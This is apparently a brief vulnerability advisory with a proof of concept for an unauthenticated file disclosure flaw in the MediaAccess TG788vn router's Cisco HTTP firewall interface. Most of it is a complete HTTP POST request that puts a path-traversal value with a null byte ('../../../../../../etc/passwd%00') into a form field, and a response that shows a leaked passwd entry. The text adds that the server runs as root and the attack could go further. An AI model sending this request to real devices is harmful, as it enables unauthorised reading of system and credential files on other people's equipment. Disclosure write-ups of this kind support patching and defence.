MediaAccess TG788vn Arbitrary File Disclosure

`Vulnerable hardware : MediaAccess TG788vn with Cisco http firewall  
Author : Ahmed Sultan (0x4148)  
Email : [email protected]  
  
MediaAccess TG788vn with Cisco firewall http config is vulnerable to  
critical unauthenticated file disclosure flaw,  
  
POC  
  
Request:  
POST /scgi-bin/platform.cgi HTTP/1.1  
Host: xx.xx.xx.xx  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: https://xx.xx.xx.xx/scgi-bin/platform.cgi  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 164  
  
button.login.home=Se%20connecter&Login.userAgent=0x4148_Fu&reload=0&SSLVPNUser.Password=0x4148Fu&SSLVPNUser.UserName=0x4148&thispage=../../../../../../etc/passwd%00  
  
Response:  
HTTP/1.0 200 OK  
Date: Sat, 01 Jan 2011 00:00:45 GMT  
Server: Embedded HTTP Server.  
Connection: close  
  
loic_ipsec:x:500:500:xauth:/:/bin/cli  
  
the http server is running with root privileges , which mean that the  
attacker might escalate the exploit for further critical attacks  
`